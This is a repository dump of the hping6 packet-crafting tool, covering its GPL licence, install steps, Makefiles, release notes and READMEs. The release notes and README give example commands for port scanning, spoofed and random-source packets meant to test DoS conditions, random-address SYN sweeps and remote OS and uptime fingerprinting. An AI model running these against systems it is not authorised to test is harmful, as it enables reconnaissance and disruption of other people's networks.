such claims; this section has the sole purpose of protecting the
|
||||||
|
integrity of the free software distribution system, which is
|
||||||
|
implemented by public license practices. Many people have made
|
||||||
|
generous contributions to the wide range of software distributed
|
||||||
|
through that system in reliance on consistent application of that
|
||||||
|
system; it is up to the author/donor to decide if he or she is willing
|
||||||
|
to distribute software through any other system and a licensee cannot
|
||||||
|
impose that choice.
|
||||||
|
|
||||||
|
This section is intended to make thoroughly clear what is believed to
|
||||||
|
be a consequence of the rest of this License.
|
||||||
|
|
||||||
|
8. If the distribution and/or use of the Program is restricted in
|
||||||
|
certain countries either by patents or by copyrighted interfaces, the
|
||||||
|
original copyright holder who places the Program under this License
|
||||||
|
may add an explicit geographical distribution limitation excluding
|
||||||
|
those countries, so that distribution is permitted only in or among
|
||||||
|
countries not thus excluded. In such case, this License incorporates
|
||||||
|
the limitation as if written in the body of this License.
|
||||||
|
|
||||||
|
9. The Free Software Foundation may publish revised and/or new versions
|
||||||
|
of the General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the Program
|
||||||
|
specifies a version number of this License which applies to it and "any
|
||||||
|
later version", you have the option of following the terms and conditions
|
||||||
|
either of that version or of any later version published by the Free
|
||||||
|
Software Foundation. If the Program does not specify a version number of
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
to ask for permission. For software which is copyrighted by the Free
|
||||||
|
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||||
|
make exceptions for this. Our decision will be guided by the two goals
|
||||||
|
of preserving the free status of all derivatives of our free software and
|
||||||
|
of promoting the sharing and reuse of software generally.
|
||||||
|
|
||||||
|
NO WARRANTY
|
||||||
|
|
||||||
|
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||||
|
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||||
|
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||||
|
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||||
|
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||||
|
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||||
|
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||||
|
REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||||
|
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||||
|
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||||
|
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||||
|
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||||
|
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||||
|
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGES.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
Appendix: How to Apply These Terms to Your New Programs
|
||||||
|
|
||||||
|
If you develop a new program, and you want it to be of the greatest
|
||||||
|
possible use to the public, the best way to achieve this is to make it
|
||||||
|
free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
convey the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
<one line to give the program's name and a brief idea of what it does.>
|
||||||
|
Copyright (C) 19yy <name of author>
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation; either version 2 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program is interactive, make it output a short notice like this
|
||||||
|
when it starts in an interactive mode:
|
||||||
|
|
||||||
|
Gnomovision version 69, Copyright (C) 19yy name of author
|
||||||
|
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, the commands you use may
|
||||||
|
be called something other than `show w' and `show c'; they could even be
|
||||||
|
mouse-clicks or menu items--whatever suits your program.
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or your
|
||||||
|
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||||
|
necessary. Here is a sample; alter the names:
|
||||||
|
|
||||||
|
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||||
|
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||||
|
|
||||||
|
<signature of Ty Coon>, 1 April 1989
|
||||||
|
Ty Coon, President of Vice
|
||||||
|
|
||||||
|
This General Public License does not permit incorporating your program into
|
||||||
|
proprietary programs. If your program is a subroutine library, you may
|
||||||
|
consider it more useful to permit linking proprietary applications with the
|
||||||
|
library. If this is what you want to do, use the GNU Library General
|
||||||
|
Public License instead of this License.
|
70
INSTALL
Normal file
70
INSTALL
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
You can compile hping6 at least under:
|
||||||
|
|
||||||
|
Linux
|
||||||
|
OpenBSD
|
||||||
|
FreeBSD
|
||||||
|
NetBSD
|
||||||
|
Solaris
|
||||||
|
|
||||||
|
With Linux you don't need any libs, nor to be root,
|
||||||
|
however you need uid 0 to run hping.
|
||||||
|
|
||||||
|
Linux
|
||||||
|
-----
|
||||||
|
|
||||||
|
please, follows this steps:
|
||||||
|
|
||||||
|
$ ./configure (first try ./configure --help)
|
||||||
|
$ vi Makefile (optional)
|
||||||
|
$ make
|
||||||
|
$ su
|
||||||
|
# make install
|
||||||
|
|
||||||
|
FreeBSD, OpenBSD, NetBSD
|
||||||
|
------------------------
|
||||||
|
|
||||||
|
You will need the libpcap and the gmake utility installed on your system.
|
||||||
|
|
||||||
|
$ ./configure
|
||||||
|
$ gmake
|
||||||
|
$ su (or calife)
|
||||||
|
# gmake install
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
NOTE: You should take care about your net/bpf.h file installing on
|
||||||
|
BSD systems (specially with OpenBSD). If your original bpf.h was
|
||||||
|
overwritten with the libpcap one probably hping will not work
|
||||||
|
with over some interface.
|
||||||
|
|
||||||
|
For example if you use the libpcap bpf.h on OpenBSD hping will
|
||||||
|
not work over PPP interfaces.
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Solaris
|
||||||
|
-------
|
||||||
|
|
||||||
|
$ export CC="gcc"
|
||||||
|
$ ./configure
|
||||||
|
$ gmake
|
||||||
|
$ su
|
||||||
|
# gmake install
|
||||||
|
|
||||||
|
ALL
|
||||||
|
---
|
||||||
|
|
||||||
|
If you need to run hping6 by your normal
|
||||||
|
account (i.e. antirez) try the following commands:
|
||||||
|
|
||||||
|
# chown root:antirez /usr/sbin/hping6
|
||||||
|
# chmod 4750 /usr/sbin/hping6
|
||||||
|
|
||||||
|
WARNING: hping6 is not trusted code, i didn't
|
||||||
|
audit for hidden buffers overflow and others
|
||||||
|
security related problems. However if (as default)
|
||||||
|
LIMITWHENSUID is defined if euid != uid
|
||||||
|
it's not possible to use a lot of options
|
||||||
|
trivially unsafe.
|
||||||
|
|
||||||
|
suid it at root is not encouraged.
|
||||||
|
|
||||||
|
antirez
|
1
KNOWN-BUGS
Normal file
1
KNOWN-BUGS
Normal file
@ -0,0 +1 @@
|
|||||||
|
See the BUGS manual section.
|
77
Makefile
Normal file
77
Makefile
Normal file
@ -0,0 +1,77 @@
|
|||||||
|
# $smu-mark$
|
||||||
|
# $name: Makefile.in$
|
||||||
|
# $author: Salvatore Sanfilippo 'antirez'$
|
||||||
|
# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
# $license: This software is under GPL version 2 of license$
|
||||||
|
# $date: Sun Jul 25 17:56:15 MET DST 1999$
|
||||||
|
# $rev: 3$
|
||||||
|
|
||||||
|
CC= gcc
|
||||||
|
AR=/usr/bin/ar
|
||||||
|
RANLIB=/usr/bin/ranlib
|
||||||
|
CCOPT= -O2 -Wall
|
||||||
|
DEBUG= -g
|
||||||
|
#uncomment the following if you need libpcap based build under linux
|
||||||
|
#(not raccomanded)
|
||||||
|
COMPILE_TIME=
|
||||||
|
INSTALL_MANPATH=/usr/local/man
|
||||||
|
|
||||||
|
|
||||||
|
OBJ= main.o getifname.o getlhs.o \
|
||||||
|
linux_sockpacket.o parseoptions.o datafiller.o \
|
||||||
|
datahandler.o gethostname.o \
|
||||||
|
binding.o getusec.o opensockraw.o \
|
||||||
|
logicmp.o waitpacket.o resolve.o \
|
||||||
|
sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \
|
||||||
|
sendtcp.o cksum.o statistics.o \
|
||||||
|
usage.o version.o antigetopt.o \
|
||||||
|
sockopt.o listen.o \
|
||||||
|
sendhcmp.o memstr.o rtt.o \
|
||||||
|
relid.o sendip_handler.o \
|
||||||
|
libpcap_stuff.o memlockall.o memunlockall.o \
|
||||||
|
memlock.o memunlock.o ip_opt_build.o \
|
||||||
|
display_ipopt.o sendrawip.o signal.o send.o \
|
||||||
|
strlcpy.o arsglue.o random.o random6.o scan.o \
|
||||||
|
hstring.o libars.a
|
||||||
|
|
||||||
|
ARSOBJ = ars.o apd.o split.o
|
||||||
|
|
||||||
|
all: hping6
|
||||||
|
|
||||||
|
libars.a: $(ARSOBJ)
|
||||||
|
$(AR) rc $@ $^
|
||||||
|
$(RANLIB) $@
|
||||||
|
|
||||||
|
hping6: byteorder.h $(OBJ)
|
||||||
|
$(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP)
|
||||||
|
@echo
|
||||||
|
./hping6 -v
|
||||||
|
@echo "use \`make strip' to strip hping6 binary"
|
||||||
|
@echo "use \`make install' to install hping6"
|
||||||
|
|
||||||
|
byteorder.h:
|
||||||
|
./configure
|
||||||
|
|
||||||
|
.c.o:
|
||||||
|
$(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf hping6 *.o *.a
|
||||||
|
-(cd utils; $(MAKE) clean)
|
||||||
|
|
||||||
|
distclean:
|
||||||
|
rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile
|
||||||
|
-(cd utils; $(MAKE) clean)
|
||||||
|
|
||||||
|
install: hping6
|
||||||
|
mkdir -p ${prefix}/sbin/
|
||||||
|
cp -f hping6 ${prefix}/sbin/
|
||||||
|
chmod 755 ${prefix}/sbin/hping6
|
||||||
|
@if [ -f ${prefix}/sbin/hping2 ]; then \
|
||||||
|
rm ${prefix}/sbin/hping2; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
strip: hping6
|
||||||
|
@ls -l ./hping6
|
||||||
|
strip hping6
|
||||||
|
@ls -l ./hping6
|
77
Makefile.in
Normal file
77
Makefile.in
Normal file
@ -0,0 +1,77 @@
|
|||||||
|
# $smu-mark$
|
||||||
|
# $name: Makefile.in$
|
||||||
|
# $author: Salvatore Sanfilippo 'antirez'$
|
||||||
|
# $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
# $license: This software is under GPL version 2 of license$
|
||||||
|
# $date: Sun Jul 25 17:56:15 MET DST 1999$
|
||||||
|
# $rev: 3$
|
||||||
|
|
||||||
|
CC= gcc
|
||||||
|
AR=/usr/bin/ar
|
||||||
|
RANLIB=/usr/bin/ranlib
|
||||||
|
CCOPT= -O2 -Wall @PCAP_INCLUDE@
|
||||||
|
DEBUG= -g
|
||||||
|
#uncomment the following if you need libpcap based build under linux
|
||||||
|
#(not raccomanded)
|
||||||
|
COMPILE_TIME= @FORCE_LIBPCAP@
|
||||||
|
INSTALL_MANPATH=@MANPATH@
|
||||||
|
@PCAP@
|
||||||
|
|
||||||
|
OBJ= main.o getifname.o getlhs.o \
|
||||||
|
linux_sockpacket.o parseoptions.o datafiller.o \
|
||||||
|
datahandler.o gethostname.o \
|
||||||
|
binding.o getusec.o opensockraw.o \
|
||||||
|
logicmp.o waitpacket.o resolve.o \
|
||||||
|
sendip.o sendip6.o sendicmp.o sendicmp6.o sendudp.o \
|
||||||
|
sendtcp.o cksum.o statistics.o \
|
||||||
|
usage.o version.o antigetopt.o \
|
||||||
|
sockopt.o listen.o \
|
||||||
|
sendhcmp.o memstr.o rtt.o \
|
||||||
|
relid.o sendip_handler.o \
|
||||||
|
libpcap_stuff.o memlockall.o memunlockall.o \
|
||||||
|
memlock.o memunlock.o ip_opt_build.o \
|
||||||
|
display_ipopt.o sendrawip.o signal.o send.o \
|
||||||
|
strlcpy.o arsglue.o random.o random6.o scan.o \
|
||||||
|
hstring.o libars.a
|
||||||
|
|
||||||
|
ARSOBJ = ars.o apd.o split.o
|
||||||
|
|
||||||
|
all: hping6
|
||||||
|
|
||||||
|
libars.a: $(ARSOBJ)
|
||||||
|
$(AR) rc $@ $^
|
||||||
|
$(RANLIB) $@
|
||||||
|
|
||||||
|
hping6: byteorder.h $(OBJ)
|
||||||
|
$(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP) @SOLARISLIB@
|
||||||
|
@echo
|
||||||
|
./hping6 -v
|
||||||
|
@echo "use \`make strip' to strip hping6 binary"
|
||||||
|
@echo "use \`make install' to install hping6"
|
||||||
|
|
||||||
|
byteorder.h:
|
||||||
|
./configure
|
||||||
|
|
||||||
|
.c.o:
|
||||||
|
$(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf hping6 *.o *.a
|
||||||
|
-(cd utils; $(MAKE) clean)
|
||||||
|
|
||||||
|
distclean:
|
||||||
|
rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile
|
||||||
|
-(cd utils; $(MAKE) clean)
|
||||||
|
|
||||||
|
install: hping6
|
||||||
|
mkdir -p ${prefix}/sbin/
|
||||||
|
cp -f hping6 ${prefix}/sbin/
|
||||||
|
chmod 755 ${prefix}/sbin/hping6
|
||||||
|
@if [ -f ${prefix}/sbin/hping2 ]; then \
|
||||||
|
rm ${prefix}/sbin/hping2; \
|
||||||
|
fi
|
||||||
|
|
||||||
|
strip: hping6
|
||||||
|
@ls -l ./hping6
|
||||||
|
strip hping6
|
||||||
|
@ls -l ./hping6
|
181
NEWS
Normal file
181
NEWS
Normal file
@ -0,0 +1,181 @@
|
|||||||
|
This short document is for users of hping-beta54 or prior versions
|
||||||
|
and helps to exploit all the new features of this hping6 release in a
|
||||||
|
short time. You may want to read the new man page anyway but the
|
||||||
|
following will help for sure:
|
||||||
|
|
||||||
|
=== release candidate 3 news
|
||||||
|
|
||||||
|
In this release a nasty bug with the checksum code was fixed.
|
||||||
|
If you experimented strange problems like some kind of packet
|
||||||
|
generated with a wrong checksum try this version.
|
||||||
|
|
||||||
|
Try the --scan option in the command line to see the port-scanner features.
|
||||||
|
|
||||||
|
Example of the --scan option usage:
|
||||||
|
|
||||||
|
# hping3 --scan known 1.2.3.4
|
||||||
|
|
||||||
|
Scanning 1.2.3.4 (1.2.3.4), port known
|
||||||
|
245 ports to scan, use -V to see all the replies
|
||||||
|
+----+-----------+---------+---+-----+-----+-----+
|
||||||
|
|port| serv name | flags |ttl| id | win | len |
|
||||||
|
+----+-----------+---------+---+-----+-----+-----+
|
||||||
|
9 discard : .S..A... 64 0 32767 44
|
||||||
|
13 daytime : .S..A... 64 0 32767 44
|
||||||
|
21 ftp : .S..A... 64 0 32767 44
|
||||||
|
22 ssh : .S..A... 64 0 32767 44
|
||||||
|
25 smtp : .S..A... 64 0 32767 44
|
||||||
|
37 time : .S..A... 64 0 32767 44
|
||||||
|
80 www : .S..A... 64 0 32767 44
|
||||||
|
111 sunrpc : .S..A... 64 0 32767 44
|
||||||
|
113 auth : .S..A... 64 0 32767 44
|
||||||
|
631 ipp : .S..A... 64 0 32767 44
|
||||||
|
3306 mysql : .S..A... 64 0 32767 44
|
||||||
|
6000 x11 : .S..A... 64 0 32767 44
|
||||||
|
6667 ircd : .S..A... 64 0 3072 44
|
||||||
|
All replies received. Done.
|
||||||
|
Not responding ports:
|
||||||
|
|
||||||
|
Check the man page for more information on the scan mode.
|
||||||
|
|
||||||
|
=== release candidate 2 news
|
||||||
|
|
||||||
|
. Now hping is able to send/parse source routed IP headers.
|
||||||
|
See the manpage for more info.
|
||||||
|
|
||||||
|
. Hping was almost rewrote, at least all the most important parts.
|
||||||
|
You should experiment a more readable, compact, fast to compile
|
||||||
|
code.
|
||||||
|
|
||||||
|
. The new option parsing code allows you to specify abbreviated
|
||||||
|
options. you can now use for example --tcp-ti instead of --tcp-timestamp
|
||||||
|
and so on.
|
||||||
|
|
||||||
|
. The new feature rand-dest allows to send the packet to random
|
||||||
|
IP addresses. This is very useful to do some Internet survey
|
||||||
|
or large subnet random scanning.
|
||||||
|
|
||||||
|
For example the follow command line will send TCP packets with the
|
||||||
|
SYN flag on to the port 80 of the 192.168.0.0/16 address space:
|
||||||
|
|
||||||
|
hping 192.168.x.x --rand-dest -p 80 -S
|
||||||
|
|
||||||
|
Every occurrence of 'x' is substituted with a random number
|
||||||
|
in the 0-255 range.
|
||||||
|
|
||||||
|
. The new feature rand-source allows to send packets with random
|
||||||
|
source addresses. Useful to test some DoS condition against firewalls
|
||||||
|
or TCP/IP stacks that implements some per-IP basis information
|
||||||
|
recording.
|
||||||
|
|
||||||
|
. The output was enhanced and fixed a bit.
|
||||||
|
|
||||||
|
. The "force incremental dest port" option (++<port>) now works with UDP
|
||||||
|
packets and works better with TCP, since it is more selective
|
||||||
|
with the incoming responses.
|
||||||
|
|
||||||
|
. Now you should be really able to set the sequence and acknowledge
|
||||||
|
number of the TCP packets. The rc1 code was broken because
|
||||||
|
atoi() was used to get a long unsigned value.
|
||||||
|
|
||||||
|
. The documentation (and the french translation) was updated
|
||||||
|
to reflect the changes.
|
||||||
|
|
||||||
|
=== release candidate 1 news
|
||||||
|
|
||||||
|
. Now hping works better on BSD, and works on Solaris. It should
|
||||||
|
be many times simplest to port it to an unsupported platform.
|
||||||
|
Problems with systems that uses 32bit pids are now fixed.
|
||||||
|
|
||||||
|
. The output is different to be more parseable and compact, example:
|
||||||
|
|
||||||
|
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms
|
||||||
|
|
||||||
|
now the presence of the Don't fragment IP flag is signaled with 'DF'.
|
||||||
|
all the fields with a value are in the form 'field=value'.
|
||||||
|
|
||||||
|
. To specify the outgoing interface with -I is no longer needed,
|
||||||
|
hping will try to detect the right interface according to the
|
||||||
|
system routing table. Of course you can override it using -I.
|
||||||
|
|
||||||
|
. Instead to specify -i u10000 to get a speed of ten packets for second
|
||||||
|
you can just use --fast.
|
||||||
|
|
||||||
|
. Now --traceroute (-T) implies --ttl 1. You can override this using --ttl.
|
||||||
|
|
||||||
|
. Using hping as traceroute you have now RTT informations about the
|
||||||
|
hops.
|
||||||
|
|
||||||
|
. You can monitor a specific hop in traceroute mode, using the following
|
||||||
|
syntax:
|
||||||
|
|
||||||
|
hping6 -T www.yahoo.com --tr-keep-ttl --ttl 5
|
||||||
|
|
||||||
|
see the output:
|
||||||
|
|
||||||
|
HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat
|
||||||
|
a bytes
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.9 ms
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.8 ms
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.9 ms
|
||||||
|
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
|
||||||
|
5->RTT was: 136.7 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
4 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
round-trip min/avg/max = 136.7/136.8/136.9 ms
|
||||||
|
|
||||||
|
you get only information about the 5 hop, after Ctrl+C the round-trip
|
||||||
|
min/avg/max is calculated using the rtt of this hop.
|
||||||
|
|
||||||
|
. Using the option --tr-stop you can obtain that hping will exit
|
||||||
|
when the first matching packet that isn't an ICMP time exceeded
|
||||||
|
in transit is received, like the original traceroute. Without
|
||||||
|
this hping continue to send packets to the target host forever.
|
||||||
|
|
||||||
|
. You can use --tr-no-rtt to suppress the rtt information in traceroute
|
||||||
|
mode.
|
||||||
|
|
||||||
|
. With the --tcp-timestamp feature you can guess the uptime of some
|
||||||
|
remote systems. Example:
|
||||||
|
|
||||||
|
HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes
|
||||||
|
56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms
|
||||||
|
TCP timestamp: 258597761
|
||||||
|
|
||||||
|
56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms
|
||||||
|
TCP timestamp: 258597860
|
||||||
|
HZ seems 100
|
||||||
|
System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds
|
||||||
|
|
||||||
|
56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms
|
||||||
|
TCP timestamp: 258597960
|
||||||
|
HZ seems 100
|
||||||
|
System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds
|
||||||
|
|
||||||
|
|
||||||
|
--- www.hping.org hping statistic ---
|
||||||
|
3 packets tramitted, 3 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 105.0/105.2/105.4 ms
|
||||||
|
|
||||||
|
As you can see the first reply does not contain any uptime information
|
||||||
|
since at least two packets are needed to estimate the increment frequency
|
||||||
|
of the timestamp timer (that is HZ in the output).
|
||||||
|
|
||||||
|
. You can now use ICMP timestamp and address subnet mask requests.
|
||||||
|
Two shortcut are provided to use they: --icmp-ts and --icmp-addr.
|
||||||
|
|
||||||
|
. Now the sequence number handling is revisited to allow hping to
|
||||||
|
show the right rtt info even if the sequence number overflows.
|
||||||
|
|
||||||
|
. Now hping should never (hopefully) SIGBUS on sparc.
|
||||||
|
|
||||||
|
I hope you will find hping better to use and more powerful, these enhancements
|
||||||
|
were implemented thanks to many people that helped a lot with code and
|
||||||
|
new ideas, see the CHANGES file for more information and credits.
|
||||||
|
|
||||||
|
have fun,
|
||||||
|
antirez
|
78
README
Normal file
78
README
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
|
||||||
|
hping6 is a network tool able to send custom ICMP/UDP/TCP
|
||||||
|
packets and to display target replies like ping do with
|
||||||
|
ICMP replies. hping6 handle fragmentation, arbitrary packet
|
||||||
|
body and size and can be used in order to transfer files
|
||||||
|
under supported protocols. Using hping6 you are able at
|
||||||
|
least to perform the following jobs:
|
||||||
|
|
||||||
|
- Test firewall rules
|
||||||
|
- [spoofed] port scanning
|
||||||
|
- Test net performance using differents protocols,
|
||||||
|
packet size, TOS (type of service) and fragmentation.
|
||||||
|
- Path MTU discovery
|
||||||
|
- Files trasfering even between really fascist firewall rules.
|
||||||
|
- Traceroute like under different protocols.
|
||||||
|
- Firewalk like usage.
|
||||||
|
- Remote OS fingerprint.
|
||||||
|
- TCP/IP stack auditing.
|
||||||
|
- IPv6 support
|
||||||
|
- A lot of others.
|
||||||
|
|
||||||
|
It's also really a good didactic tool to learn TCP/IP.
|
||||||
|
|
||||||
|
hping6 is developed and manteined by antirez@invece.org
|
||||||
|
and comes under GPL version 2 of license. Developing is
|
||||||
|
open so you can send me patches/suggestions/affronts without
|
||||||
|
inhibitions.
|
||||||
|
|
||||||
|
Thanks to the following peoples for them suggestions/tests/tools/code:
|
||||||
|
|
||||||
|
Valeriano Bedeschi <vale@seclab.com>
|
||||||
|
Lorenzo Cavallaro <sullivan@seclab.com>
|
||||||
|
awgn roofing <root@roof.penguinpowered.com>
|
||||||
|
Darren Reed <avalon@COOMBS.ANU.EDU.AU>
|
||||||
|
Alfonso De Gregorio <dira@speedcom.it>
|
||||||
|
Mika <mika@qualys.com>
|
||||||
|
Yann Berthier <Yann.Berthier@hsc.fr>
|
||||||
|
Lance Spitzner <lance@spitzner.net>
|
||||||
|
Stephane Aubert <Stephane.Aubert@hsc.fr>
|
||||||
|
Nicolas Jombart <Nicolas.Jombart@hsc.fr>
|
||||||
|
Denis Ducamp <Denis.Ducamp@hsc.fr>
|
||||||
|
Francesco Potorti` <pot@gnu.org>
|
||||||
|
Stefano Brandimarte <stevens@alicom.com>
|
||||||
|
"roy kozzer" <royk50@hotmail.com>
|
||||||
|
Jason Lunz <j@trellisinc.com>
|
||||||
|
Domenico Andreoli <cavok@filibusta.crema.unimi.it>
|
||||||
|
Gian-Luca Dei Rossi <acaso@venezia.linux.it>
|
||||||
|
Marco D'Itri <md@linux.it>
|
||||||
|
Rui Miguel Barbosa Machado <rmbm@rccn.net>
|
||||||
|
Daniel Ginsburg <dbg@nm.ru>
|
||||||
|
Steve Bleazard <steve@bleazard.com>
|
||||||
|
David Coppa <coffeec@tin.it>
|
||||||
|
|
||||||
|
Many other, I don't remember.
|
||||||
|
|
||||||
|
Also vim developers, ee.lbl.gov for tcpdump and GNU in general.
|
||||||
|
|
||||||
|
IPv6 support, flood modes:
|
||||||
|
Matyas Koszik <koszik@atw.hu>
|
||||||
|
|
||||||
|
REQUIREMENTS
|
||||||
|
|
||||||
|
A supported unix-like OS, gcc, root access.
|
||||||
|
|
||||||
|
see PORTINGS file for supported systems list.
|
||||||
|
|
||||||
|
USAGE
|
||||||
|
|
||||||
|
See the man page and HPING6-HOWTO.
|
||||||
|
|
||||||
|
INSTALLATION
|
||||||
|
|
||||||
|
see INSTALL file.
|
||||||
|
|
||||||
|
have fun,
|
||||||
|
antirez
|
21
README.md
Normal file
21
README.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
This is regular hping2 with a few extra features:
|
||||||
|
|
||||||
|
* `-6` - required for ipv6 destinations
|
||||||
|
* `--pps`
|
||||||
|
* `--bps` - set outgoing pps/bps rates. Return packets are not processed in these modes.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
root@koszik-vps:~# ./hping6 ns1.atw.hu -6 -2 -p 53 -k -s 1583 --traceroute
|
||||||
|
HPING ns1.atw.hu (eth0 2a01:270:0:2::11): udp mode set, 48 headers + 0 data bytes
|
||||||
|
hop=1 TTL 0 during transit from ip=2a00:1f40:2::1 name=2a00-1f40-2--1.pool6.giganet.hu hoprtt=0.9 ms
|
||||||
|
hop=2 TTL 0 during transit from ip=2a00:1f40:1:bb00::2:1 name=UNKNOWN hoprtt=1005.7 ms
|
||||||
|
hop=3 TTL 0 during transit from ip=2001:7f8:35::2:9278:2 name=UNKNOWN hoprtt=2011.2 ms
|
||||||
|
hop=4 TTL 0 during transit from ip=2a02:730:c:b01:b03:0:1:1 name=UNKNOWN hoprtt=3006.7 ms
|
||||||
|
hop=5 TTL 0 during transit from ip=2a01:270:c:c04:103::1 name=UNKNOWN hoprtt=4007.1 ms
|
||||||
|
hop=6 TTL 0 during transit from ip=2a01:270:c:c02:c04::1 name=UNKNOWN hoprtt=5007.7 ms
|
||||||
|
hop=7 TTL 0 during transit from ip=2a01:270:c:106::42 name=UNKNOWN hoprtt=6007.3 ms
|
||||||
|
^C
|
||||||
|
--- ns1.atw.hu hping statistic ---
|
||||||
|
12 packets transmitted, 7 packets received, 42% packet loss
|
||||||
|
round-trip min/avg/max = 0.9/3006.7/6007.3 ms
|
21
TODO
Normal file
21
TODO
Normal file
